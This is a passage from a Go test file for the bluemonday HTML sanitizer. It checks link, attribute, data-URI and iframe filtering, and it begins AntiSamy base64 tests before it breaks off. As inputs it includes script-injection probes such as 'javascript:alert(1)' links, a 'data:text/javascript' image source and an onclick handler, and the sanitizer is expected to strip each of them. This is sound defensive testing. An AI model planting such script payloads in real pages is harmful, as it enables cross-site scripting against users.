1// Copyright (c) 2014, David Kitchen <david@buro9.com>
2//
3// All rights reserved.
4//
5// Redistribution and use in source and binary forms, with or without
6// modification, are permitted provided that the following conditions are met:
7//
8// * Redistributions of source code must retain the above copyright notice, this
9//   list of conditions and the following disclaimer.
10//
11// * Redistributions in binary form must reproduce the above copyright notice,
12//   this list of conditions and the following disclaimer in the documentation
13//   and/or other materials provided with the distribution.
14//
15// * Neither the name of the organisation (Microcosm) nor the names of its
16//   contributors may be used to endorse or promote products derived from
17//   this software without specific prior written permission.
18//
19// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
20// AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
21// IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
22// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
23// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
24// DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
25// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
26// CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
27// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
28// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
29
30package bluemonday
31
32import (
33	"encoding/base64"
34	"net/url"
35	"regexp"
36	"strings"
37	"sync"
38	"testing"
39)
40
41// test is a simple input vs output struct used to construct a slice of many
42// tests to run within a single test method.
43type test struct {
44	in       string
45	expected string
46}
47
48func TestEmpty(t *testing.T) {
49	p := StrictPolicy()
50
51	if "" != p.Sanitize(``) {
52		t.Error("Empty string is not empty")
53	}
54}
55
56func TestSignatureBehaviour(t *testing.T) {
57	// https://github.com/microcosm-cc/bluemonday/issues/8
58	p := UGCPolicy()
59
60	input := "Hi.\n"
61
62	if output := p.Sanitize(input); output != input {
63		t.Errorf(`Sanitize() input = %s, output = %s`, input, output)
64	}
65
66	if output := string(p.SanitizeBytes([]byte(input))); output != input {
67		t.Errorf(`SanitizeBytes() input = %s, output = %s`, input, output)
68	}
69
70	if output := p.SanitizeReader(
71		strings.NewReader(input),
72	).String(); output != input {
73
74		t.Errorf(`SanitizeReader() input = %s, output = %s`, input, output)
75	}
76
77	input = "\t\n \n\t"
78
79	if output := p.Sanitize(input); output != input {
80		t.Errorf(`Sanitize() input = %s, output = %s`, input, output)
81	}
82
83	if output := string(p.SanitizeBytes([]byte(input))); output != input {
84		t.Errorf(`SanitizeBytes() input = %s, output = %s`, input, output)
85	}
86
87	if output := p.SanitizeReader(
88		strings.NewReader(input),
89	).String(); output != input {
90
91		t.Errorf(`SanitizeReader() input = %s, output = %s`, input, output)
92	}
93}
94
95func TestLinks(t *testing.T) {
96
97	tests := []test{
98		{
99			in:       `<a href="http://www.google.com">`,
100			expected: `<a href="http://www.google.com" rel="nofollow">`,
101		},
102		{
103			in:       `<a href="//www.google.com">`,
104			expected: `<a href="//www.google.com" rel="nofollow">`,
105		},
106		{
107			in:       `<a href="/www.google.com">`,
108			expected: `<a href="/www.google.com" rel="nofollow">`,
109		},
110		{
111			in:       `<a href="www.google.com">`,
112			expected: `<a href="www.google.com" rel="nofollow">`,
113		},
114		{
115			in:       `<a href="javascript:alert(1)">`,
116			expected: ``,
117		},
118		{
119			in:       `<a href="#">`,
120			expected: ``,
121		},
122		{
123			in:       `<a href="#top">`,
124			expected: `<a href="#top" rel="nofollow">`,
125		},
126		{
127			in:       `<a href="?q=1">`,
128			expected: `<a href="?q=1" rel="nofollow">`,
129		},
130		{
131			in:       `<a href="?q=1&r=2">`,
132			expected: `<a href="?q=1&amp;r=2" rel="nofollow">`,
133		},
134		{
135			in:       `<a href="?q=1&q=2">`,
136			expected: `<a href="?q=1&amp;q=2" rel="nofollow">`,
137		},
138		{
139			in:       `<a href="?q=%7B%22value%22%3A%22a%22%7D">`,
140			expected: `<a href="?q=%7B%22value%22%3A%22a%22%7D" rel="nofollow">`,
141		},
142		{
143			in:       `<a href="?q=1&r=2&s=:foo@">`,
144			expected: `<a href="?q=1&amp;r=2&amp;s=:foo@" rel="nofollow">`,
145		},
146		{
147			in:       `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot" />`,
148			expected: `<img alt="Red dot"/>`,
149		},
150		{
151			in:       `<img src="giraffe.gif" />`,
152			expected: `<img src="giraffe.gif"/>`,
153		},
154		{
155			in:       `<img src="giraffe.gif?height=500&amp;width=500&amp;flag" />`,
156			expected: `<img src="giraffe.gif?height=500&amp;width=500&amp;flag"/>`,
157		},
158	}
159
160	p := UGCPolicy()
161	p.RequireParseableURLs(true)
162
163	// These tests are run concurrently to enable the race detector to pick up
164	// potential issues
165	wg := sync.WaitGroup{}
166	wg.Add(len(tests))
167	for ii, tt := range tests {
168		go func(ii int, tt test) {
169			out := p.Sanitize(tt.in)
170			if out != tt.expected {
171				t.Errorf(
172					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
173					ii,
174					tt.in,
175					out,
176					tt.expected,
177				)
178			}
179			wg.Done()
180		}(ii, tt)
181	}
182	wg.Wait()
183}
184
185func TestLinkTargets(t *testing.T) {
186
187	tests := []test{
188		{
189			in:       `<a href="http://www.google.com">`,
190			expected: `<a href="http://www.google.com" rel="nofollow noopener" target="_blank">`,
191		},
192		{
193			in:       `<a href="//www.google.com">`,
194			expected: `<a href="//www.google.com" rel="nofollow noopener" target="_blank">`,
195		},
196		{
197			in:       `<a href="/www.google.com">`,
198			expected: `<a href="/www.google.com">`,
199		},
200		{
201			in:       `<a href="www.google.com">`,
202			expected: `<a href="www.google.com">`,
203		},
204		{
205			in:       `<a href="javascript:alert(1)">`,
206			expected: ``,
207		},
208		{
209			in:       `<a href="#">`,
210			expected: ``,
211		},
212		{
213			in:       `<a href="#top">`,
214			expected: `<a href="#top">`,
215		},
216		{
217			in:       `<a href="?q=1">`,
218			expected: `<a href="?q=1">`,
219		},
220		{
221			in:       `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==" alt="Red dot" />`,
222			expected: `<img alt="Red dot"/>`,
223		},
224		{
225			in:       `<img src="giraffe.gif" />`,
226			expected: `<img src="giraffe.gif"/>`,
227		},
228	}
229
230	p := UGCPolicy()
231	p.RequireParseableURLs(true)
232	p.RequireNoFollowOnLinks(false)
233	p.RequireNoFollowOnFullyQualifiedLinks(true)
234	p.AddTargetBlankToFullyQualifiedLinks(true)
235
236	// These tests are run concurrently to enable the race detector to pick up
237	// potential issues
238	wg := sync.WaitGroup{}
239	wg.Add(len(tests))
240	for ii, tt := range tests {
241		go func(ii int, tt test) {
242			out := p.Sanitize(tt.in)
243			if out != tt.expected {
244				t.Errorf(
245					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
246					ii,
247					tt.in,
248					out,
249					tt.expected,
250				)
251			}
252			wg.Done()
253		}(ii, tt)
254	}
255	wg.Wait()
256}
257
258func TestStyling(t *testing.T) {
259
260	tests := []test{
261		{
262			in:       `<span class="foo">Hello World</span>`,
263			expected: `<span class="foo">Hello World</span>`,
264		},
265		{
266			in:       `<span class="foo bar654">Hello World</span>`,
267			expected: `<span class="foo bar654">Hello World</span>`,
268		},
269	}
270
271	p := UGCPolicy()
272	p.AllowStyling()
273
274	// These tests are run concurrently to enable the race detector to pick up
275	// potential issues
276	wg := sync.WaitGroup{}
277	wg.Add(len(tests))
278	for ii, tt := range tests {
279		go func(ii int, tt test) {
280			out := p.Sanitize(tt.in)
281			if out != tt.expected {
282				t.Errorf(
283					"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
284					ii,
285					tt.in,
286					out,
287					tt.expected,
288				)
289			}
290			wg.Done()
291		}(ii, tt)
292	}
293	wg.Wait()
294}
295
296func TestEmptyAttributes(t *testing.T) {
297
298	p := UGCPolicy()
299	// Do not do this, especially without a Matching() clause, this is a test
300	p.AllowAttrs("disabled").OnElements("textarea")
301
302	tests := []test{
303		// Empty elements
304		{
305			in: `<textarea>text</textarea><textarea disabled></textarea>` +
306				`<div onclick='redirect()'><span>Styled by span</span></div>`,
307			expected: `<textarea>text</textarea><textarea disabled=""></textarea>` +
308				`<div><span>Styled by span</span></div>`,
309		},
310		{
311			in:       `foo<br />bar`,
312			expected: `foo<br/>bar`,
313		},
314		{
315			in:       `foo<br/>bar`,
316			expected: `foo<br/>bar`,
317		},
318		{
319			in:       `foo<br>bar`,
320			expected: `foo<br>bar`,
321		},
322		{
323			in:       `foo<hr noshade>bar`,
324			expected: `foo<hr>bar`,
325		},
326	}
327
328	for ii, test := range tests {
329		out := p.Sanitize(test.in)
330		if out != test.expected {
331			t.Errorf(
332				"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
333				ii,
334				test.in,
335				out,
336				test.expected,
337			)
338		}
339	}
340}
341
342func TestDataAttributes(t *testing.T) {
343
344	p := UGCPolicy()
345	p.AllowDataAttributes()
346
347	tests := []test{
348		{
349			in:       `<p data-cfg="dave">text</p>`,
350			expected: `<p data-cfg="dave">text</p>`,
351		},
352		{
353			in:       `<p data-component="dave">text</p>`,
354			expected: `<p data-component="dave">text</p>`,
355		},
356		{
357			in:       `<p data-semicolon;="dave">text</p>`,
358			expected: `<p>text</p>`,
359		},
360		{
361			in:       `<p data-xml-prefix="dave">text</p>`,
362			expected: `<p>text</p>`,
363		},
364	}
365
366	for ii, test := range tests {
367		out := p.Sanitize(test.in)
368		if out != test.expected {
369			t.Errorf(
370				"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
371				ii,
372				test.in,
373				out,
374				test.expected,
375			)
376		}
377	}
378}
379
380func TestDataUri(t *testing.T) {
381
382	p := UGCPolicy()
383	p.AllowURLSchemeWithCustomPolicy(
384		"data",
385		func(url *url.URL) (allowUrl bool) {
386			// Allows PNG images only
387			const prefix = "image/png;base64,"
388			if !strings.HasPrefix(url.Opaque, prefix) {
389				return false
390			}
391			if _, err := base64.StdEncoding.DecodeString(url.Opaque[len(prefix):]); err != nil {
392				return false
393			}
394			if url.RawQuery != "" || url.Fragment != "" {
395				return false
396			}
397			return true
398		},
399	)
400
401	tests := []test{
402		{
403			in:       `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==">`,
404			expected: `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4//8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==">`,
405		},
406		{
407			in:       `<img src="data:text/javascript;charset=utf-8,alert('hi');">`,
408			expected: ``,
409		},
410		{
411			in:       `<img src="data:image/png;base64,charset=utf-8,alert('hi');">`,
412			expected: ``,
413		},
414		{
415			in:       `<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUAAAAFCAYAAACNbyblAAAAHElEQVQI12P4-_8/w38GIAXDIBKE0DHxgljNBAAO9TXL0Y4OHwAAAABJRU5ErkJggg==">`,
416			expected: ``,
417		},
418	}
419
420	for ii, test := range tests {
421		out := p.Sanitize(test.in)
422		if out != test.expected {
423			t.Errorf(
424				"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
425				ii,
426				test.in,
427				out,
428				test.expected,
429			)
430		}
431	}
432}
433
434func TestGlobalURLPatternsViaCustomPolicy(t *testing.T) {
435
436	p := UGCPolicy()
437	// youtube embeds
438	p.AllowElements("iframe")
439	p.AllowAttrs("width", "height", "frameborder").Matching(Integer).OnElements("iframe")
440	p.AllowAttrs("allow").Matching(regexp.MustCompile(`^(([\p{L}\p{N}_-]+)(; )?)+$`)).OnElements("iframe")
441	p.AllowAttrs("allowfullscreen").OnElements("iframe")
442	p.AllowAttrs("src").OnElements("iframe")
443	// These clobber... so you only get one and it applies to URLs everywhere
444	p.AllowURLSchemeWithCustomPolicy("mailto", func(url *url.URL) (allowUrl bool) { return false })
445	p.AllowURLSchemeWithCustomPolicy("http", func(url *url.URL) (allowUrl bool) { return false })
446	p.AllowURLSchemeWithCustomPolicy(
447		"https",
448		func(url *url.URL) bool {
449			// Allow YouTube
450			if url.Host == `www.youtube.com` {
451				return true
452			}
453			return false
454		},
455	)
456
457	tests := []test{
458		{
459			in:       `<iframe width="560" height="315" src="https://www.youtube.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`,
460			expected: `<iframe width="560" height="315" src="https://www.youtube.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>`,
461		},
462		{
463			in:       `<iframe width="560" height="315" src="htt://www.vimeo.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`,
464			expected: `<iframe width="560" height="315" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>`,
465		},
466	}
467
468	for ii, test := range tests {
469		out := p.Sanitize(test.in)
470		if out != test.expected {
471			t.Errorf(
472				"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
473				ii,
474				test.in,
475				out,
476				test.expected,
477			)
478		}
479	}
480}
481
482func TestELementURLPatternsMatching(t *testing.T) {
483
484	p := UGCPolicy()
485	// youtube embeds
486	p.AllowElements("iframe")
487	p.AllowAttrs("width", "height", "frameborder").Matching(Integer).OnElements("iframe")
488	p.AllowAttrs("allow").Matching(regexp.MustCompile(`^(([\p{L}\p{N}_-]+)(; )?)+$`)).OnElements("iframe")
489	p.AllowAttrs("allowfullscreen").OnElements("iframe")
490	p.AllowAttrs("src").Matching(regexp.MustCompile(`^https://www.youtube.com/.*$`)).OnElements("iframe")
491
492	tests := []test{
493		{
494			in:       `<iframe width="560" height="315" src="https://www.youtube.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`,
495			expected: `<iframe width="560" height="315" src="https://www.youtube.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>`,
496		},
497		{
498			in:       `<iframe width="560" height="315" src="htt://www.vimeo.com/embed/lJIrF4YjHfQ" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>`,
499			expected: `<iframe width="560" height="315" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>`,
500		},
501	}
502
503	for ii, test := range tests {
504		out := p.Sanitize(test.in)
505		if out != test.expected {
506			t.Errorf(
507				"test %d failed;\ninput   : %s\noutput  : %s\nexpected: %s",
508				ii,
509				test.in,
510				out,
511				test.expected,
512			)
513		}
514	}
515}
516
517func TestAntiSamy(t *testing.T) {
518
519	standardUrls := regexp.MustCompile(`(?i)^https?|mailto`)
520
521	p := NewPolicy()
522
523	p.AllowElements(
524		"a", "b", "br", "div", "font", "i", "img", "input", "li", "ol", "p",
525		"span", "td", "ul",
526	)
527	p.AllowAttrs("checked", "type").OnElements("input")
528	p.AllowAttrs("color").OnElements("font")
529	p.AllowAttrs("href").Matching(standardUrls).OnElements("a")
530	p.AllowAttrs("src").Matching(standardUrls).OnElements("img")
531	p.AllowAttrs("class", "id", "title").Globally()
532	p.AllowAttrs("char").Matching(
533		regexp.MustCompile(`p{L}`), // Single character or HTML entity only
534	).OnElements("td")
535
536	tests := []test{
537		// Base64 strings
538		//
539		// first string is
540		// <a - href="http://www.owasp.org">click here</a>
541		{
542			in:       `PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=`,
543			expected: `PGEgLSBocmVmPSJodHRwOi8vd3d3Lm93YXNwLm9yZyI+Y2xpY2sgaGVyZTwvYT4=`,
544		},
545		// the rest are randomly generated 300 byte sequences which generate
546		// parser errors, turned into Strings
547		{
548			in:       `uz0sEy5aDiok6oufQRaYPyYOxbtlACRnfrOnUVIbOstiaoB95iw+dJYuO5sI9nudhRtSYLANlcdgO0pRb+65qKDwZ5o6GJRMWv4YajZk+7Q3W/GN295XmyWUpxuyPGVi7d5fhmtYaYNW6vxyKK1Wjn9IEhIrfvNNjtEF90vlERnz3wde4WMaKMeciqgDXuZHEApYmUcu6Wbx4Q6WcNDqohAN/qCli74tvC+Umy0ZsQGU7E+BvJJ1tLfMcSzYiz7Q15ByZOYrA2aa0wDu0no3gSatjGt6aB4h30D9xUP31LuPGZ2GdWwMfZbFcfRgDSh42JPwa1bODmt5cw0Y8ACeyrIbfk9IkX1bPpYfIgtO7TwuXjBbhh2EEixOZ2YkcsvmcOSVTvraChbxv6kP`,
549			expected: `uz0sEy5aDiok6oufQRaYPyYOxbtlACRnfrOnUVIbOstiaoB95iw+dJYuO5sI9nudhRtSYLANlcdgO0pRb+65qKDwZ5o6GJRMWv4YajZk+7Q3W/GN295XmyWUpxuyPGVi7d5fhmtYaYNW6vxyKK1Wjn9IEhIrfvNNjtEF90vlERnz3wde4WMaKMeciqgDXuZHEApYmUcu6Wbx4Q6WcNDqohAN/qCli74tvC+Umy0ZsQGU7E+BvJJ1tLfMcSzYiz7Q15ByZOYrA2aa0wDu0no3gSatjGt6aB4h30D9xUP31LuPGZ2GdWwMfZbFcfRgDSh42JPwa1bODmt5cw0Y8ACeyrIbfk9IkX1bPpYfIgtO7TwuXjBbhh2EEixOZ2YkcsvmcOSVTvraChbxv6kP`,
550		},
551		{
552			in:       `PIWjMV4y+MpuNLtcY3vBRG4ZcNaCkB9wXJr3pghmFA6rVXAik+d5lei48TtnHvfvb5rQZVceWKv9cR/9IIsLokMyN0omkd8j3TV0DOh3JyBjPHFCu1Gp4Weo96h5C6RBoB0xsE4QdS2Y1sq/yiha9IebyHThAfnGU8AMC4AvZ7DDBccD2leZy2Q617ekz5grvxEG6tEcZ3fCbJn4leQVVo9MNoerim8KFHGloT+LxdgQR6YN5y1ii3bVGreM51S4TeANujdqJXp8B7B1Gk3PKCRS2T1SNFZedut45y+/w7wp5AUQCBUpIPUj6RLp+y3byWhcbZbJ70KOzTSZuYYIKLLo8047Fej43bIaghJm0F9yIKk3C5gtBcw8T5pciJoVXrTdBAK/8fMVo29P`,
553			expected: `PIWjMV4y+MpuNLtcY3vBRG4ZcNaCkB9wXJr3pghmFA6rVXAik+d5lei48TtnHvfvb5rQZVceWKv9cR/9IIsLokMyN0omkd8j3TV0DOh3JyBjPHFCu1Gp4Weo96h5C6RBoB0xsE4QdS2Y1sq/yiha9IebyHThAfnGU8AMC4AvZ7DDBccD2leZy2Q617ekz5grvxEG6tEcZ3fCbJn4leQVVo9MNoerim8KFHGloT+LxdgQR6YN5y1ii3bVGreM51S4TeANujdqJXp8B7B1Gk3PKCRS2T1SNFZedut45y+/w7wp5AUQCBUpIPUj6RLp+y3byWhcbZbJ70KOzTSZuYYIKLLo8047Fej43bIaghJm0F9yIKk3C5gtBcw8T5pciJoVXrTdBAK/8fMVo29P`,
554		},
555		{
556			in:       `uCk7HocubT6KzJw2eXpSUItZFGkr7U+D89mJw70rxdqXP2JaG04SNjx3dd84G4bz+UVPPhPO2gBAx2vHI0xhgJG9T4vffAYh2D1kenmr+8gIHt6WDNeD+HwJeAbJYhfVFMJsTuIGlYIw8+I+TARK0vqjACyRwMDAndhXnDrk4E5U3hyjqS14XX0kIDZYM6FGFPXe/s+ba2886Q8o1a7WosgqqAmt4u6R3IHOvVf5/PIeZrBJKrVptxjdjelP8Xwjq2ujWNtR3/HM1kjRlJi4xedvMRe4Rlxek0NDLC9hNd18RYi0EjzQ0bGSDDl0813yv6s6tcT6xHMzKvDcUcFRkX6BbxmoIcMsVeHM/ur6yRv834o/TT5IdiM9/wpkuICFOWIfM+Y8OWhiU6BK`,
557			expected: `uCk7HocubT6KzJw2eXpSUItZFGkr7U+D89mJw70rxdqXP2JaG04SNjx3dd84G4bz+UVPPhPO2gBAx2vHI0xhgJG9T4vffAYh2D1kenmr+8gIHt6WDNeD+HwJeAbJYhfVFMJsTuIGlYIw8+I+TARK0vqjACyRwMDAndhXnDrk4E5U3hyjqS14XX0kIDZYM6FGFPXe/s+ba2886Q8o1a7WosgqqAmt4u6R3IHOvVf5/PIeZrBJKrVptxjdjelP8Xwjq2ujWNtR3/HM1kjRlJi4xedvMRe4Rlxek0NDLC9hNd18RYi0EjzQ0bGSDDl0813yv6s6tcT6xHMzKvDcUcFRkX6BbxmoIcMsVeHM/ur6yRv834o/TT5IdiM9/wpkuICFOWIfM+Y8OWhiU6BK`,
558		},
559		{
560			in:       `Bb6Cqy6stJ0YhtPirRAQ8OXrPFKAeYHeuZXuC1qdHJRlweEzl4F2z/ZFG7hzr5NLZtzrRG3wm5TXl6Aua5G6v0WKcjJiS2V43WB8uY1BFK1d2y68c1gTRSF0u+VTThGjz+q/R6zE8HG8uchO+KPw64RehXDbPQ4uadiL+UwfZ4BzY1OHhvM5+2lVlibG+awtH6qzzx6zOWemTih932Lt9mMnm3FzEw7uGzPEYZ3aBV5xnbQ2a2N4UXIdm7RtIUiYFzHcLe5PZM/utJF8NdHKy0SPaKYkdXHli7g3tarzAabLZqLT4k7oemKYCn/eKRreZjqTB2E8Kc9Swf3jHDkmSvzOYE8wi1vQ3X7JtPcQ2O4muvpSa70NIE+XK1CgnnsL79Qzci1/1xgkBlNq`,
561			expected: `Bb6Cqy6stJ0YhtPirRAQ8OXrPFKAeYHeuZXuC1qdHJRlweEzl4F2z/ZFG7hzr5NLZtzrRG3wm5TXl6Aua5G6v0WKcjJiS2V43WB8uY1BFK1d2y68c1gTRSF0u+VTThGjz+q/R6zE8HG8uchO+KPw64RehXDbPQ4uadiL+UwfZ4BzY1OHhvM5+2lVlibG+awtH6qzzx6zOWemTih932Lt9mMnm3FzEw7uGzPEYZ3aBV5xnbQ2a2N4UXIdm7RtIUiYFzHcLe5PZM/utJF8NdHKy0SPaKYkdXHli7g3tarzAabLZqLT4k7oemKYCn/eKRreZjqTB2E8Kc9Swf3jHDkmSvzOYE8wi1vQ3X7JtPcQ2O4muvpSa70NIE+XK1CgnnsL79Qzci1/1xgkBlNq`,
562		},
563		{
564			in:       `FZNVr4nOICD1cNfAvQwZvZWi+P4I2Gubzrt+wK+7gLEY144BosgKeK7snwlA/vJjPAnkFW72APTBjY6kk4EOyoUef0MxRnZEU11vby5Ru19eixZBFB/SVXDJleLK0z3zXXE8U5Zl5RzLActHakG8Psvdt8TDscQc4MPZ1K7mXDhi7FQdpjRTwVxFyCFoybQ9WNJNGPsAkkm84NtFb4KjGpwVC70oq87tM2gYCrNgMhBfdBl0bnQHoNBCp76RKdpq1UAY01t1ipfgt7BoaAr0eTw1S32DezjfkAz04WyPTzkdBKd3b44rX9dXEbm6szAz0SjgztRPDJKSMELjq16W2Ua8d1AHq2Dz8JlsvGzi2jICUjpFsIfRmQ/STSvOT8VsaCFhwL1zDLbn5jCr`,
565			expected: `FZNVr4nOICD1cNfAvQwZvZWi+P4I2Gubzrt+wK+7gLEY144BosgKeK7snwlA/vJjPAnkFW72APTBjY6kk4EOyoUef0MxRnZEU11vby5Ru19eixZBFB/SVXDJleLK0z3zXXE8U5Zl5RzLActHakG8Psvdt8TDscQc4MPZ1K7mXDhi7FQdpjRTwVxFyCFoybQ9WNJNGPsAkkm84NtFb4KjGpwVC70oq87tM2gYCrNgMhBfdBl0bnQHoNBCp76RKdpq1UAY01t1ipfgt7BoaAr0eTw1S32DezjfkAz04WyPTzkdBKd3b44rX9dXEbm6szAz0SjgztRPDJKSMELjq16W2Ua8d1AHq2Dz8JlsvGzi2jICUjpFsIfRmQ/STSvOT8VsaCFhwL1zDLbn5jCr`,
566		},
567		{
568			in:       `RuiRkvYjH2FcCjNzFPT2PJWh7Q6vUbfMadMIEnw49GvzTmhk4OUFyjY13GL52JVyqdyFrnpgEOtXiTu88Cm+TiBI7JRh0jRs3VJRP3N+5GpyjKX7cJA46w8PrH3ovJo3PES7o8CSYKRa3eUs7BnFt7kUCvMqBBqIhTIKlnQd2JkMNnhhCcYdPygLx7E1Vg+H3KybcETsYWBeUVrhRl/RAyYJkn6LddjPuWkDdgIcnKhNvpQu4MMqF3YbzHgyTh7bdWjy1liZle7xR/uRbOrRIRKTxkUinQGEWyW3bbXOvPO71E7xyKywBanwg2FtvzOoRFRVF7V9mLzPSqdvbM7VMQoLFob2UgeNLbVHkWeQtEqQWIV5RMu3+knhoqGYxP/3Srszp0ELRQy/xyyD`,
569			expected: `RuiRkvYjH2FcCjNzFPT2PJWh7Q6vUbfMadMIEnw49GvzTmhk4OUFyjY13GL52JVyqdyFrnpgEOtXiTu88Cm+TiBI7JRh0jRs3VJRP3N+5GpyjKX7cJA46w8PrH3ovJo3PES7o8CSYKRa3eUs7BnFt7kUCvMqBBqIhTIKlnQd2JkMNnhhCcYdPygLx7E1Vg+H3KybcETsYWBeUVrhRl/RAyYJkn6LddjPuWkDdgIcnKhNvpQu4MMqF3YbzHgyTh7bdWjy1liZle7xR/uRbOrRIRKTxkUinQGEWyW3bbXOvPO71E7xyKywBanwg2FtvzOoRFRVF7V9mLzPSqdvbM7VMQoLFob2UgeNLbVHkWeQtEqQWIV5RMu3+knhoqGYxP/3Srszp0ELRQy/xyyD`,
570		},
571		{
572			in:       `mqBEVbNnL929CUA3sjkOmPB5dL0/a0spq8LgbIsJa22SfP580XduzUIKnCtdeC9TjPB/GEPp/LvEUFaLTUgPDQQGu3H5UCZyjVTAMHl45me/0qISEf903zFFqW5Lk3TS6iPrithqMMvhdK29Eg5OhhcoHS+ALpn0EjzUe86NywuFNb6ID4o8aF/ztZlKJegnpDAm3JuhCBauJ+0gcOB8GNdWd5a06qkokmwk1tgwWat7cQGFIH1NOvBwRMKhD51MJ7V28806a3zkOVwwhOiyyTXR+EcDA/aq5acX0yailLWB82g/2GR/DiaqNtusV+gpcMTNYemEv3c/xLkClJc29DSfTsJGKsmIDMqeBMM7RRBNinNAriY9iNX1UuHZLr/tUrRNrfuNT5CvvK1K`,
573			expected: `mqBEVbNnL929CUA3sjkOmPB5dL0/a0spq8LgbIsJa22SfP580XduzUIKnCtdeC9TjPB/GEPp/LvEUFaLTUgPDQQGu3H5UCZyjVTAMHl45me/0qISEf903zFFqW5Lk3TS6iPrithqMMvhdK29Eg5OhhcoHS+ALpn0EjzUe86NywuFNb6ID4o8aF/ztZlKJegnpDAm3JuhCBauJ+0gcOB8GNdWd5a06qkokmwk1tgwWat7cQGFIH1NOvBwRMKhD51MJ7V28806a3zkOVwwhOiyyTXR+EcDA/aq5acX0yailLWB82g/2GR/DiaqNtusV+gpcMTNYemEv3c/xLkClJc29DSfTsJGKsmIDMqeBMM7RRBNinNAriY9iNX1UuHZLr/tUrRNrfuNT5CvvK1K`,
574		},
575		{
576			in:       `IMcfbWZ/iCa/LDcvMlk6LEJ0gDe4ohy2Vi0pVBd9aqR5PnRj8zGit8G2rLuNUkDmQ95bMURasmaPw2Xjf6SQjRk8coIHDLtbg/YNQVMabE8pKd6EaFdsGWJkcFoonxhPR29aH0xvjC4Mp3cJX3mjqyVsOp9xdk6d0Y2hzV3W/oPCq0DV03pm7P3+jH2OzoVVIDYgG1FD12S03otJrCXuzDmE2LOQ0xwgBQ9sREBLXwQzUKfXH8ogZzjdR19pX9qe0rRKMNz8k5lqcF9R2z+XIS1QAfeV9xopXA0CeyrhtoOkXV2i8kBxyodDp7tIeOvbEfvaqZGJgaJyV8UMTDi7zjwNeVdyKa8USH7zrXSoCl+Ud5eflI9vxKS+u9Bt1ufBHJtULOCHGA2vimkU`,
577			expected: `IMcfbWZ/iCa/LDcvMlk6LEJ0gDe4ohy2Vi0pVBd9aqR5PnRj8zGit8G2rLuNUkDmQ95bMURasmaPw2Xjf6SQjRk8coIHDLtbg/YNQVMabE8pKd6EaFdsGWJkcFoonxhPR29aH0xvjC4Mp3cJX3mjqyVsOp9xdk6d0Y2hzV3W/oPCq0DV03pm7P3+jH2OzoVVIDYgG1FD12S03otJrCXuzDmE2LOQ0xwgBQ9sREBLXwQzUKfXH8ogZzjdR19pX9qe0rRKMNz8k5lqcF9R2z+XIS1QAfeV9xopXA0CeyrhtoOkXV2i8kBxyodDp7tIeOvbEfvaqZGJgaJyV8UMTDi7zjwNeVdyKa8USH7zrXSoCl+Ud5eflI9vxKS+u9Bt1ufBHJtULOCHGA2vimkU`,
578		},
579		{
